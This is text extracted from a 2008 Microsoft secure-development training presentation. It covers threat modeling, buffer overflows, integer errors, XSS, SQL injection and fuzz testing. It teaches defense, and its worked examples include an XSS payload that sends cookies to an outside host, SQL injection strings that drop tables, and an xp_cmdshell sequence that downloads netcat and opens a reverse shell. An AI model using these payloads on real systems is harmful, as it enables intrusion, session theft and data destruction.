Basics of Secure Design Development and Test Secure

Basics of Secure Design, Development, and Test Secure software made easier <Date> <Presenter>

Motivation • In this course, we will: – Look at the Microsoft Security Development Lifecycle (SDL) – Briefly review some secure design, development, and test concepts – Explore the security issues that arise if these design, coding, and test principles are not properly applied • This will provide you with information that you can use to make your software more secure

Agenda • • • Microsoft Security Development Lifecycle (SDL) overview Module 1: Secure Design – Attack Surface Reduction – Threat Modeling Module 2: Secure Development – – – – • Buffer overflows Integer arithmetic errors Canonicalization issues Managed Code: Cross-site scripting (XSS) Managed Code: SQL injection Cryptography Code Review Module 3: Security Testing – Fuzz Testing

Microsoft Security Development Lifecycle (SDL)

Working to protect our users… Education Administer and track security training Process Guide product teams to meet SDL requirements Accountability Establish release criteria and sign-off as part of FSR Ongoing Process Improvements Incident Response (MSRC)

Very Encouraging Results! Total Vulnerabilities Disclosed 12 Months After Release Total Vulnerabilities Disclosed 36 Months After Release 187 400 242 119 157 66 34 3 Windows® XP Before SDL Windows Vista® After SDL 45% reduction in Vulnerabilities OS III SQL Server® 2000 Before SDL SQL Server 2005 Competing commercial DB After SDL 91% reduction in Vulnerabilities Consistent application of sound security practices during all phases of a development project will result in fewer vulnerabilities

Still Much to Be Done: The Pain of "Blaster" • • Two lines of C code in RPCSS • Led to while (*pwsz. Temp != L'\') *pwsz. Server. Name++ = *pwsz. Temp++; – >1, 500, 000 infected computers – 3, 370, 000 Product Support Services (PSS) calls in September 2003 (normal virus volume is 350, 000) – Plenty of negative commentary • " This [is] going to raise the level of frustration to the point where a lot of organizations will seriously contemplate alternatives to Microsoft" Gartner • "There's definitely caution warranted here. [Microsoft's security] efforts were sincere, but I am not sure if they were sincere enough" Forrester

The Horrible Truth • No matter how much effort we expend, we will never get code 100 percent correct – This is an asymmetric problem • We must be 100 percent correct, 100 percent of the time, on a schedule, with limited resources, only knowing what we know today – Oh, and the product has to be reliable, supportable, compatible, manageable, affordable, accessible, usable, global, doable, deployable… • They can spend as long as they like to find one bug, with the benefit of future research • • We’re human and our tools are far from perfect There’s still a business case for improving security now

The Horrible Truth (continued) • • Tools make it easy to build exploit code Reverse engineering tools • Structural Comparison of Executable Objects, Halvar Flake – http: //www. zynamics. com/downloads/dimva_paper 2. pdf – PCT Bug: "Detecting and understanding the vulnerability took less than 30 minutes" – H. 323 ASN. 1 Bug: "The total analysis took less than three hours time" • Exploit payloads • www. metasploit. com

Choose your ‘sploit Enter some details… Here’s the ‘sploit code!

The Horrible Truth (concluded) • • Don't be a statistic: A worm or serious vulnerability in any major product can have devastating impact to you and your users In general: – Cost for attacker to build attack is very low – Cost to your users is very high – Cost of reacting is higher than cost of defending

Module 1: Secure Design

Module 1: Secure Design Attack Surface Reduction (ASR)

The Attack Surface Reduction Process • Look at all of your entry points – Network I/O – File I/O • Rank them – – Authenticated versus anonymous Administrator only versus user Network versus local UDP versus TCP

Watch Out for Fanout! File formats −For example, JPG, MSH, or GIF Verbs −HTTP • Classic GET, POST, HEAD, DELETE • Web. DAV Subprotocols −SSL 2, SSL 3, TLS, PCT −SMTP PROPPATCH, PROPFIND, MOVE, LOCK • HELO, EHLO, MAIL, RCPT −Queries • Extended sprocs and sprocs

It’s Not Just About Turning Stuff Off! Higher Attack Surface Lower Attack Surface Executing by default Off by default Open socket Closed socket UDP TCP Anonymous access Authenticated access Constantly on Intermittently on Admin access User access Internet access Local subnet access SYSTEM Not SYSTEM! Uniform defaults User-chosen settings Large code Small code Weak ACLs Strong ACLs

ASR Examples Windows − Authenticated RPC − Firewall on by default Internet Information Services version 6 (IIS 6) − Off by default − Network service by default − Static files by default SQL Server 2005 − xp_cmdshell off by default − CLR and COM off by default − Network service Visual Studio® 2005 − Web server localhost only − SQL Server Express localhost only

Attack Surface Reduction is as important as trying to get the code right

Module 1: Secure Design Threat Modeling

Threat Analysis • • • Secure software starts with understanding the threats Threats are not vulnerabilities Threats live forever; they are the attacker's goal Mitigation Attacker Threat Vulnerability

The Process in a Nutshell Vision Model Identify Threats Validate Mitigate

Whiteboard Your Architecture • Start with person, processes, data flows, data stores – Unique shape per item – Data flows should be one way each – Label them with data, not read/write • • Draw attack surfaces/trust boundaries Tell a story to see if your picture is ok External Entity • People • Other systems • Microsoft. com Process • DLLs • EXEs • COM object • Components • Services • Web Services • Assemblies Data Flow • Function call • Network traffic • Remote Procedure Call (RPC) Data Store • Database • File • Registry • Shared Memory • Queue / Stack Trust Boundary • Process Boundary • File system

Find Threats: Use STRIDE per Element • Start with items connected to dangerous data flows (those crossing boundaries) • • Use the chart to help you think of attacks Keep a running list S External Entity P Process P Data Store Data Flow T R I D E P P P P

Understanding the STRIDE Threats Threat Property Definition Example Spoofing Authentication Pretending to be any of billg, microsoft. com or ntdll. dll Tampering Integrity Impersonating something or someone else. Modifying data or code Repudiation Non-repudiation Claiming to have not performed an action. Information Confidentiality Exposing information to someone not authorized to see it Deny or degrade service to users “I didn’t send that email, ” “I didn’t modify that file, ” “I certainly didn’t visit that web site, dear!” Allowing someone to read the Windows source code; publishing a list of customers to a web site. Crashing Windows or a web site, sending a packet and absorbing seconds of CPU time, or routing packets into a black hole. Disclosure Denial of Service Availability Elevation of Authorization Privilege Gain capabilities without proper authorization Modifying a DLL on disk or DVD, or a packet as it traverses the LAN. Allowing a remote internet user to run commands is the classic example, but going from a limited user to admin is also Eo. P.

Mitigation Techniques Threat Mitigation Feature Spoofing Authentication Tampering Integrity Repudiation Nonrepudiation Information Disclosure Confidentiality Denial of Service Availability Elevation of Privilege Authorization

Mitigating Your Threats • For each threat, decide how to stop it – – • Redesign and eliminate Use standard threat mitigations Invent new mitigation (not recommended!—seek help) Accept risk in accordance with SDL bug bar File a work item in your bug tracking DB – Treat threats as bugs, mitigations as features

Validate • Check threat model diagrams – Do they match the design docs or code? • Check your bug DB work items are all – Closed as completed – QA’d

Context Diagram Services for Macintosh

Diagrams Should Not Resemble • • • Flow charts Class diagrams Call graphs

Determining Threat Types TID SR 5. 0 TID 1. 0 STRIDE TID 7. 0 TID 8. 0 10. 0 SR 6. 0 STRIDE 2. 0. 11. 0 TID 9. 0 4. 0 3. 0 STRIDE TID Each element in the Data Flow Diagram (DFD) is susceptible to one or more threat types

DFD Elements Are Threat Targets: A “Work List” Data Flow S T R I D 1 5 5 6 6 7 7 8 P P P Data Store 7 9 11 P P P P P Interactor 1 2 8 P Process 3 4 5 6 10 P P P E Each is a potential threat to the system Each threat is governed by the conditions which make threat possible P P P P P

A Special Note About Information Disclosure Threats All information disclosure threats are potential privacy issues Is the data sensitive or PII?

Call to Action • Threat model something – Like your program! – If you’re stuck, threat model a different program • • • Go breadth-first Have fun Seek more intensive training – "Introduction to Threat Modeling"

Threat M odel Che cklist þ No design is complet model! e withou t a threa þ Follow t anonym ous data þ Every paths threat ne eds a sec þ Check urity tes all inform t plan are they ation dis privacy i c ssues? losure threats – threat softwa re vuln

Summary • • Defined the SDL • Explained the importance of threat models and described the use of DFDs and threat trees during the threat modeling process Described the Attack Surface Reduction process with some examples of its positive impact

Question 1: Which of the following is an example of low attack surface? A. User-controlled settings B. Weak ACLs C. Internet access

Question 2: Information disclosure is caused by a breach of…? A. Privacy B. Security C. Both

Question 3: Which mitigation technique can be used to protect against the STRIDE spoofing threat? A. Integrity B. Authentication C. Availability D. Authorization

Module 2: Secure Development

Module 2: Secure Development Buffer Overflows

What Are Buffer Overflows (BOs)? • • External data is larger than the destination Overflowing the destination tramples some sensitive, in-memory construct that determines execution flow – Causing the application to change execution flow – To the attacker’s code that is included in the data • • • Cause: Trusting input C/C++ code the most common victim Direct access to memory

Stack Buffer Overflows at Work All determine execution flow Exception Handlers Function Pointers Virtual Methods Function return address Buffers ! d 3 n 0 w Other vars EBP EIP Args void func(char *p, int i) { int j = 0; CFoo foo; int (*fp)(int) = &func; char b[128]; strcpy(b, p); } Bad things happen if *p points to data longer than b

Buffer Overflow Examples SQL Server Instance Resolution (MS 02 -039) #define INSTREGKEY "SOFTWARE\Microsoft SQL Server\" #define MAX_RECV_MSG 256 void Ssrp. Svr(LPSTR sz. Instance. Name) { BYTE rgb. Recv. Buf[MAX_RECV_MSG]; . . . ssrp. Msg = Ssrp. Recv. Msg(rgb. Recv. Buf); switch(ssrp. Msg) { case CLNT_UCAST_INST: // Verb #4 Ssrp. Enum((LPSTR)&rgb. Recv. Buf[1]); } Sitting on port 1434—The Internet SSRPMSGTYPE Ssrp. Recv. Msg(BYTE * rgb. Recv. Buf) {. . . bytes. Recd = recvfrom( g. Svr. Sock, (char*) rgb. Recv. Buf, MAX_RECV_MSG, 0, (SOCKADDR *)&gclient. Addr, &c. Client. Addr ); return((SSRPMSGTYPE)rgb. Recv. Buf[0]); } Read no more than 256 bytes from the network BOOL Ssrp. Enum(LPSTR sz. Inst. Name, . . . ) { char szreg. Version[128]; sprintf(szreg. Version, "%s%s\MSSQLServer\Current. Version", INSTREGKEY, sz. Inst. Name); Then copy into a 128 -byte buffer

Heap Overflows at Work Write a DWORD anywhere in memory when block is free()’d Heap Block d! 3 n w 0 Heap Block Pointer to prior block A 1 Pointer to next block D 1 A 2 D 2 On block free: D 1 [A 1] D 2 [A 2]

Zotob (Pn. P Code) CONFIGRET Sitting on port 445— Res. Des. To. Nt. Resource( IN PCVOID Resource. Data, the Internet IN RESOURCEID Resource. Type, IN ULONG Resource. Len , IN PCM_PARTIAL_RESOURCE_DESCRIPTOR p. Res. Des , IN ULONG ul. Tag ) { case Res. Type_Class. Specific: { PCS_RESOURCE p. Cs. Data = (PCS_RESOURCE)Resource. Data; LPBYTE ptr = NULL; ptr = (LPBYTE)((LPBYTE)p. Res. Des + sizeof(CM_PARTIAL_RESOURCE_DESCRIPTOR)); memcpy(ptr, p. Cs. Data->CS_Header. CSD_Signature + p. Cs. Data->CS_Header. CSD_Legacy. Data. Offset, p. Cs. Data->CS_Header. CSD_Legacy. Data. Size ); Amount of data to copy is controlled by the attacker

The 'n'-Functions Are Safe? Right? ! // Example #1 (code verifies psz. Src is <= 50 chars) #define MAX (50) char *psz. Dest = malloc(sizeof(psz. Src)); strncpy(psz. Dest, psz. Src, MAX); sizeof is 4 bytes, not 50 String not null-terminated if len(psz. Src) >= MAX // Example #2 #define MAX (50) char sz. Dest[MAX]; strncpy(sz. Dest, psz. Src, MAX); // Example #3 #define MAX (50) Wrong buffer size! char sz. Dest[MAX]; strncpy(sz. Dest, psz. Src, strlen(psz. Src)) ;

The 'n'-Functions Are Safe? Right? ! // Example #4 Wrote NULL to element #define MAX (50) 51, not 50! char sz. Dest[MAX]; strncpy(sz. Dest, psz. Src, MAX); psz. Dest[MAX] = ''; MAX-1 is not the total destination buffer size! // Example #5 #define MAX (50) char sz. Dest[MAX]; strncpy(sz. Dest, psz. Src, MAX-1); strncat(sz. Dest, psz. Src, MAX-1);

The 'n'-Functions Are Safe? Right? ! // Example #6 char sz. Dest[50]; _snprintf(sz. Dest, strlen(sz. Dest), "%s", sz. Src); What if p == NULL? sz. Dest contains junk! strlen(sz. Dest) is random! // Example #7 void func(char *p) { char sz. Dest[MAX]; strncpy(sz. Dest, p, MAX); sz. Dest[MAX-1] = ''; } You should always use safe variants of the str calls: str*_s

Reduce attack surface Search for "risky" functions and determine data origin Better libraries and classes (strsafe, Safe CRT, STL) Fixing Buffer Overflows /analyze and SAL Fuzz tests /GS, NX, ASLR and heap checking

Memory Defenses • Stack BO detection (aka /GS, enabled by default in VC++ 2008) – Detects some stack-based overruns – Rearranges the stack so buffers are in higher memory (helps protect variables) – Moves various arguments to lower memory • Exception handler protection (aka /Safe. SEH, enabled by default in VC++ 2008 linker) – Exception addresses are verified at runtime

Memory Defenses • Data Execution Protection (aka NX/XD, enabled by default†) – Harder to execute date • In Windows Vista, DEP cannot be disabled once turned on process † Most CPUs today support DEP, but make sure it's enabled in the BIOS

Memory Defenses • Heap defenses (all enabled by default) – Lookasides gone – Arrays of free lists gone – Early detection of errors due to block header integrity check • ENTRY->Flink->Blink == ENTRY->Blink->Flink == ENTRY • Use Heap. Set. Information(NULL, Heap. Enable. Termination. On. Corruption, NULL, 0) • Integer overflow calling operator: : new automatically detected at runtime (by default)

Memory Defenses • Image randomization (ASLR) – – – • • • System images are loaded randomly into 1 of 256 'slots' Changes on each boot To be effective ASLR requires DEP Enabled by default Link with /dynamicbase for non-system images Stack is randomized for each new thread (by default) Heap is randomized (by default) Long-lived pointers are encoded and decoded – A successful pointer overwrite must survive the decoding process (XOR with a random number) – Use Encode[System]Pointer and Decode[System]Pointer

Defenses Summary • Mandatory use of compiler security options – – – /GS flag (runtime stack BO detection) /Safe. SEH (runtime exception checking) /NXCompat (NX support) /Dynamic. Base (ASLR support) /robust switch for MIDL compiler

Module 2: Secure Development Integer Arithmetic Errors

Integer Arithmetic Attacks • Integer arithmetic is a generic name for a set of common integer arithmetic mistakes – Overflow and underflow – Signed versus unsigned errors – Truncation • They can lead to attacker control of program flow

Integer Arithmetic Attacks int Concat. Buffers(char *buf 1, char *buf 2, size_t len 1, size_t len 2){ char buf[0 x. FF]; 0 x 103 len 1 if((len 1 + len 2) > 0 x. FF) return -1; + 0 x. FFFFFFFC len 2 0 x. FF memcpy(buf, buf 1, len 1); memcpy(buf + len 1, buf 2, len 2); // do stuff with buf return 0; } Both memcpy functions attempt to copy >255 bytes

Integer Overflow Attacks GDI+ JPG Rendering (MS 04 -028) BOOL Gp. Jpeg. Decoder: : read_jpeg_marker( IN j_decompress_ptr cinfo, IN SHORT app_header, OUT VOID **pp. Buffer, OUT UINT 16 *p. Length ) { VOID *p. Buffer; UINT 16 length; INPUT_VARS(cinfo); INPUT_2 BYTES(cinfo, length, return FALSE); *p. Length = length+2; p. Buffer = Gp. Malloc(length+2); 0 x. FFFE + 0 x 02 == 0 x 00 . . . INT len = length - 2; 0 x. FFFFFFFE - 0 x 02 == 0 x. FFFFFFFC . . . Gp. Memcpy(p, cinfo->src->next_input_byte, len);

Integer Overflow Attacks Custom Memory Allocations #define _BLOCKSIZE 64 If cb = 0 xffff, then cbr == 0 void *_Mem. Alloc(size_t cb) { // Round to nearest block size_t cbr = (cb + _BLOCKSIZE - 1) & ~(_BLOCKSIZE – 1); return malloc(cbr); }

Unmanaged Code Interop Issues public int Copy. Data(byte[] input. Buffer, int input. Offset, int input. Count, byte[] output. Buffer) if (input. Offset >= input. Buffer. Length) throw new Exception(); C# { -1 if (input. Count > input. Buffer. Length) throw new Exception(); if (input. Offset + input. Count < input. Offset) throw new Exception(); All the checks are against signed ints if (input. Buffer. Length < input. Offset + input. Count) throw new Exception(); _Unmanaged. Copy(. . . , input. Buffer, input. Offset, input. Count); C++ _Unmanaged. Copy(. . . , BYTE *input. Buffer, DWORD input. Offset, DWORD input. Count) { memcpy(pb, input. Buffer + input. Offset, input. Count); . . . 0 x. FFFF }

Standard Annotation Language (SAL) • • • Defines interface contracts Helps tools find bugs Annotate your headers using SAL – Used by latest PREfast • References – SAL Annotations: C Run-Time Library Reference http: //msdn. microsoft. com/en-us/library/ ms 235402. aspx – A Brief Introduction to the Standard Annotation Language (SAL) http: //blogs. msdn. com/michael_howard/archive/ 2006/05/19/602077. aspx

Standard Annotation Language (SAL) DWORD WINAPI Bluetooth. Get. Service. Pnp. Instance( BLUETOOTH_ADDRESS * p. Device. Address , GUID * Service. Guid , ULONG Instance. Id , _Out_cap_(Buffer. Size) WCHAR * Buffer , ULONG Buffer. Size , HKEY * ph. Key ); • • Informs compiler that Buffer is Buffer. Size WCHARs • NULL is not valid (else _opt) It's an out parameter, so it does not need initializing (else _In_out_)

Remedy: Integer Arithmetic • Any calculation used to determine an array offset or memory allocation is suspect • • • Use unsigned variables for array indexes and buffer sizes Ints are signed in Managed Code Watch out for: – C 4018 and C 4389 compiler warnings (signed and unsigned mismatch) – C 4244 compiler warnings (conversion from "type 1" to "type 2"; possible loss of data) – #pragma and casts that shut the compiler up!

Remedy: Integer Arithmetic #define MAX_ALLOC (1024*4) if (num <= (MAX_ALLOC/sizeof(T))){ T *p = malloc(num * sizeof(T)); } size_t cb = num * sizeof(T); T *p = malloc(cb); size_t cb = num * sizeof(T); if (num == cb/sizeof(T)) { T *p = malloc(cb); } T *p = new T[num]; // Howard (C/C++ Int. Overflow. h) if (UMul(num, sizeof(T), &cb)) { T *p = malloc(cb); } // Le. Blanc (C++ Safe. Int. hpp) Safe. Int<size_t>cb. Foo(sizeof(T)) ; Safe. Int<size_t>cb = cb. Foo * num; T//*p = malloc(cb) Windows C/C++ sdk/inc/intsafe. h // and ddk/inc/ntintsafe. h if (SUCCEEDED(Size. TMult(num, sizeof(T), &cb) )) T *p = malloc(cb); }

BO / IA C h þ Just fi ecklist x 'em! þ Build defensiv e code a layers (li nd add d ke /GS) efensive þ Use th e latest v ersion o þ Use sa f VC++ / fer string GS l i b r aries þ Use / analyze and SAL þ All ari thmetic used to c allocatio alculate memory probably ns is wrong!

Module 2: Secure Development Canonicalization Issues

Canonicalization Issues • Never make a security decision based on the name of something – Chances are good that you’ll get it wrong – Often, there is more than one way to name something if (String. Compare(username, @"ntdevmikehow", true)==0 && String. Compare(filename, @"secretfile. txt", true)==0) // go away

Canonicalization Issues: Example 1 Secret. File. txt. Secret~1. txt Secret. File. txt: : $DATA

Canonicalization Issues: Example 2 http: //contoso. com/foo/home. aspx http: //contoso. com/foo/HOME. ASPX http: //contoso. com/foo/. . /foo/home. aspx http: //contoso. com/foo/. /home. aspx http: //207. 46. 197. 32/foo/home. aspx http: //3435386042/foo/home. aspx http: //contoso. com/foo/%67 ome. aspx http: //contoso. com/foo/%c 0%ae/home. aspx http: //contoso. com/foo/%u 0067 ome. aspx http: //contoso. com/foo/%FF 48. aspx http: //contoso. com/foo/%2567 ome. aspx

Canonicalization Issues: Example 3 http: //www. example. com/prn/default. asp http: //www. example. com/aux. asp

Module 2: Secure Development Managed Code: Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) • • Very common vulnerability • The fault is simply trusting input and then echoing it! An issue in a Web server leads to a compromised client (and more)

XSS in Action: Cookie Stealing Welcome. asp Hello, <%= request. querystring(′name′)%> <a href=http: //www. humongousinsurance. com/welcome. asp? name= <script>document. write (′<img src=″http: //gotcha. com/″%2 bdocument. cookie%2 b>′) </script>here</a>

XSS in Action: "Defacement" /location=<script>document. images[4]. src= "http: //www. badsite. com/news. jpg"</script>

Crystal Reports Vulnerability MS 04 -017 public class Crystal. Image. Handler : Web. Control { private string tmpdir = null; protected override void Render(Html. Text. Writer writer) { string filepath; (1) Get filename from querystring dynamic. Image = (string)Context. Request. Query. String. Get("dynamicimage"); if (tmpdir == null) { tmpdir = Viewer. Global. Get. Image. Directory(); } file. Path = tmpdir + dynamic. Image; (2) Open file File. Stream imagestream = new File. Stream (file. Path, File. Mode. Open, File. Access. Read); (3) Stream file to user // stream file to user (4) Delete file! File. Delete (file. Path); } } crystalimagehandler. aspx? dynamicimage=. . boot. ini

Remedies: XSS • • Validate all input Never directly echo Web-based user input – At the very least, HTML encode the output – ASP. NET 1. 1 adds the Validate. Request option – Use Anti. XSS • Use Http. Only cookie option – Prevents access to client-side script in IE 6 SP 1 and later (used by Hotmail) • Use <frame> security attribute – Supports Internet Explorer security zone settings

Module 2: Secure Development Managed Code: SQL Injection

SQL Injection: C# string Status = "No"; string sqlstring =""; try { Hard to guess Sql. Connection sql= new Sql. Connection( password! @"data source=localhost; " + "user id=sa; password=password; "); Connecting as sysadmin sql. Open(); String concat sqlstring="SELECT Has. Shipped" + for dynamic SQL " FROM Shipment WHERE ID='" + Id + "'"; Sql. Command cmd = new Sql. Command(sqlstring, sql); if ((int)cmd. Execute. Scalar() != 0) Status = "Yes"; } catch (Sql. Exception se) { Status = sqlstring + " failednr"; foreach (Sql. Error e in se. Errors) { Status += e. Message + "nr"; } Telling the } catch (Exception e) { bad guy too much on failure Status = e. To. String(); }

Why It's Wrong (1 of 3) sqlstring="SELECT Has. Shipped" + " FROM Shipment WHERE ID='" + Id + "'"; Good Guy SELECT Has. Shipped FROM Shipment WHERE ID='1001' Not So Good Guy SELECT Has. Shipped FROM Shipment WHERE ID= '1001' or 2>1 -- '

Why It's Wrong (2 of 3) sqlstring="SELECT Has. Shipped" + " FROM Shipment WHERE ID='" + Id + "'"; Really Bad Guy SELECT Has. Shipped FROM Shipment WHERE ID= '1001' ; drop table orders -- ' Downright Evil Guy SELECT Has. Shipped FROM Shipment WHERE ID= '1001’ ; exec xp_cmdshell('. . . ') -- '

Why It's Wrong (3 of 3) Your Worst Nightmare! exec xp_cmdshell 'tftp -i 63. 45. 11. 9 GET nc. exe c: nc. exe' 0 wns 63. 45. 11. 9 nc. exe -l -p 31337 exec xp_cmdshell 'c: nc. exe -v -e cmd. exe 63. 45. 11. 9 31337'

Remedy: Do Not Trust User Input • Validate all input – All input is evil until proven otherwise – Look for data that matches the expected use, and reject everything else – http: //www. contoso. com/pwnme. html is • a valid URL… • …On a non-existant server… • …Which you likely don’t want to visit • Constrain, reject, and sanitize – – Type checks (for example, numeric only) Length checks (for example, buffer must be < n bytes) Range checks (for example, A-Z a-z) Format checks (for example, e-mail name) Validator. Validation. Expression = ”^w+([-+. ]w+)*@w+([-. ]w+)*. w+([-. ]w+)*$";

Remedies: SQL Injection • • • Validate all input • Use parameterized queries with sprocs Use parameterized queries Consider allowing access to sprocs and not allowing access to underlying tables Sql. Data. Adapter cmd = new Sql. Data. Adapter("exec sp_getshipstatus(@id)", conn); Sql. Parameter parm = cmd. Select. Command. Parameters. Add("@id", id);

Do not look only for "bad things"; it assumes you know all the "bad things" ; deldeleteete from table

Input Err or Check þ All inp list ut is evil !!!!! þ Don't look for "bad" th ings!

Module 2: Secure Development Cryptography

Storing Secrets • Software cannot defend itself, therefore: – Storing secrets securely in software is impossible! – Embedded "secrets" don't stay secret for long

Storing Secrets • DPAPI is the required method – Easy access to platform-provided cryptography • Crypt[Un]Protect. Data – Managed wrappers available pre-. NET 2. 0 –. NET 2. 0 adds Protected. Data class • • Introduced in Windows 2000 Preferable to Local Security Authority (LSA) secrets

Weak Crypto • Don’t create your own crypto algorithms – Use Crypto. API, CAPICOM, and System. Security. Cryptography • MD 4, MD 5, RC 4, DES, and SHA 1 banned for new code • AES and SHA 256 okay

Module 2: Secure Development Code Review

Managed Code Issues • • • Code Access Security (CAS) != Secure Code! Be wary of granting certain permissions to your code – Security. Permission, Unmanaged. Code, Skip. Verification, Control. Evidence, and Reflection. Permission Run Fx. Cop or /analyze regularly • Read Secure Coding Guidelines on MSDN – Managed Code: http: //msdn 2. microsoft. com/enus/library/ms 998408. aspx – Native Code: http: //msdn 2. microsoft. com/enus/library/ k 3 a 3 hzw 7(VS. 80). aspx • View ". NET Framework Security Best Practices": http: //msdn 2. microsoft. com/ en-us/ security/aa 570406. aspx

Audit Extensively: Link. Demand • Unlike a Demand, does not perform a full run-time stack-walk • Checks the immediate caller during JIT compile File. IOPermission? Read. File Demand Your code File. IOPermission? Read. File Link. Demand

Audit Extensively: Partial Trust • Allow. Partially. Trusted. Callers. Attribute – [assembly: Allow. Partially. Trusted. Callers] • • APTCA == "bring it on, hax 0 rs!" Applies to strong-named assemblies Disables Link. Demand: Full. Trust Allows code from the Internet to call your code – Is that what you really want? • Managed C++ and APTCA don’t mix

Audit Extensively: Asserts • • Are your protected actions safe? Note: Your code must be granted the permission you are asserting and have permission to assert File. IOPermission? Read. File Assert File. IOPermission Read. File

Audit Extensively: Asserts [File. IOPermission(Security. Action. Assert, All=@"C: logsLog. txt")] public void Create. Log. File() { Stream. Writer Text. Stream = new Stream. Writer(@"C: logsLog. txt"); } [File. IOPermission(Security. Action. Assert)] public void Create. Log. File(string log) { Stream. Writer Text. Stream = new Stream. Writer(log); }

Audit Extensively • • P/Invoke and COM Interop Your gateway to buffer overflows!

Audit Extensively • Readonly isn’t read-only! static readonly byte[] keysizes = new byte[] {64, 112, 128, 160, 196}; static void Main(string[] args) { keysizes[1] = 8; }

Don’t Forget Managed Code Integer Arithmetic Bugs Int 16 i = get. From. Network(); if (i <= MAX) { i++; Int 32 j = 8192 / i; } Int 16 req; . . . while (true) { get. Request(); req++; arr[req] = Date. Time. Now; }

Summary • Demonstrated how failing to validate input can cause security issues, such as buffer overflows, XSS, and SQL injection • Demonstrated how these issues can be eliminated by creating secure code with examples • Explained the importance of code reviews in creating secure code

Question 1: Which security issue is most likely to impact C/C++ code? A. SQL injection B. Buffer overflows C. Cross-site scripting

Question 2: Which bug type is exacerbated by using signed integers? A. Cross-site scripting B. Buffer overflows C. SQL injection D. Integer arithmetic errors

Question 3: Which of the following results in canonicalization vulnerability? A. Trusting an input value based on its name B. Echoing input directly in Web-based output C. Performing an incorrect integer arithmetic operation on the input

Question 4: Which of the following is not an immediate impact of XSS attacks? A. Web-site defacement B. Remote code execution on the server C. Cookie theft

Question 5: Which security issue can be mitigated by using parameterized queries? A. Cross-site scripting B. Buffer overflow C. SQL injection

Module 3: Security Testing

Security Testing Traditional faults Actual software functionality Unintended, undocumented, or unknown functionality Intended functionality Missing defenses Poor defenses Extra “functionality” No authentication Weak authentication Buffer overflow in authentication

What Is Fuzzing? • • Randomized application of malformed data in a search for vulnerabilities Distinguishing characteristics – Methodical – Random values – Explicit search for vulnerabilities / reliability failures – Large number of test cases – Expected outcome: It does not fail – Does not fit neatly into typical test case development • • Coined by Bart Miller, An Empirical Study of the Reliability of UNIX Utilities (Miller, Fredriksen and So, 1990) Critics might call it a shotgun approach, but shotguns are more useful than rifles or lasers in many applications

How to Fuzz • • Tools! Determine all of the entry points to your code – Network ports and protocols – Files and file types • Rank them by privilege level and accessibility – Anonymous, user, and admin – Remote and local

Attackers Are Unconstrained • Rule #1: There are no rules – Attacks by admins are uninteresting • If you provide a client to access the server, don’t use it! – Mimic the client in code • If you rely on a specific service, build a bogus one

Fuzz Across Trust Boundaries • • Look for privilege elevation boundaries Pushing data from low-privilege to high-privilege process Admin: Full Control Everyone: Read SYSTEM Everyone: Write

Security Testing þ Build fu uz C resource zers for all cons hecklist protoco s (such as files o umed ls) r net þ Tools ! Tools! T ools! þ SDL F uzzing re quireme nts cove þ Files r þ RPC e ndpoints þ ACtiv e. X Cont rols þ Gene ralized n etwork f probably uzzing is the next step ! z z Fu

Question: Which of the following is not a characteristic of fuzz testing? A. It is an explicit search for vulnerabilities or reliability failures B. It involves a large number of test cases, which are not individually compelling C. It is exploratory, as opposed to methodical D. Its expected outcome is does not fail

Overall Summary The SDL integrates security activities in all of the phases of product development Activities such as attack surface reduction and threat modeling are part of the secure design phase Input validation is a very important secure coding principle; failure to do so results in serious security issues Code reviews in the verification phase helps to ensure that coding errors that result in security and privacy bugs are detected and fixed Security testing—particularly fuzz testing—helps expose errors that may introduce security vulnerabilities

Learning More • Training – "Introduction to the Microsoft Security Development Lifecycle" – "Introduction to Threat Modeling" – "Privacy in Software Development" • Books – The Security Development Lifecycle: SDL: A Process for Developing Demonstrably More Secure Software (Howard, Lipner, 2006) "Threat Modeling" chapter – Writing Secure Code, Second Edition (Howard, Le. Blanc, 2002)

Resources SDL Portal http: //www. microsoft. com/sdl SDL Blog http: //blogs. msdn. com/sdl/ SDL Process on MSDN(Web) http: //msdn. microsoft. com/enus/library/cc 307748. aspx SDL Process on MSDN(MS Word) http: //www. microsoft. com/downlo ads/details. aspx? Family. ID=d 04 5 a 05 a-c 1 fc-48 c 3 -b 4 d 5 b 20353 f 97122&displaylang=en

Questions?

© 2008 Microsoft Corporation. All rights reserved. Microsoft, Windows Vista and other product names are or may be registered trademarks and/or trademarks in the U. S. and/or other countries. The information herein is for informational purposes only and represents the current view of Microsoft Corporation as of the date of this presentation. Because Microsoft must respond to changing market conditions, it should not be interpreted to be a commitment on the part of Microsoft, and Microsoft cannot guarantee the accuracy of any information provided after the date of this presentation. MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED OR STATUTORY, AS TO THE INFORMATION IN THIS PRESENTATION.